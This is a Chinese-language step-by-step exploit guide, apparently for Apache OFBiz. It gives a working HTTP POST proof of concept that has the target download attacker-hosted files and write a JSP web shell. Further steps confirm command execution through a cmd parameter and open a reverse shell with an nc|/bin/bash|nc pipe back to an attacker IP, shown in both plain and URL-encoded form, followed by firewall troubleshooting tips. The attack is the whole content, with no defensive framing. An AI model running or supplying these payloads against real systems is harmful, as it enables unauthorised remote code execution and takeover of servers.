复现：

VPS上准备两个文件

rceschema.xml

rcereport.csv

POC:

POST /webtools/control/forgotPassword/viewdatafile HTTP/2
Host: 目标地址
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Type: application/x-www-form-urlencoded

DATAFILE_LOCATION=http://公网ip:端口/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://公网ip:端口/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce

原来的包

服务器python开启http服务

python3 -m http.server 8888

ps:在服务器中要加这个规则,把防火墙关了

看看能不能访问

发送修改后的包

服务器上启的http服务收到访问链接

 访问下列接口进行RCE验证

GET /accounting/index.jsp?cmd=id HTTP/2
Host: 对方的host

反弹shell

查询有无nc

这次使用的nc命令为

        nc ip 端口 | /bin/bash|nc ip 端口

        如nc 124.70.xxx.xxx 4443|/bin/bash|nc 124.70.xxx.xxx 4441

开启监听

让对方执行nc命令（要对命令进行url编码）

下面是编码后的换成自己的就好啦ps:右边没回显说明成功

nc+ip+端口%7C%2Fbin%2Fbash%7Cnc+ip+端口

可能遇到的问题：

监听不到可能是因为在入站规则没加那两个端口加一下就好了

还有关防火墙
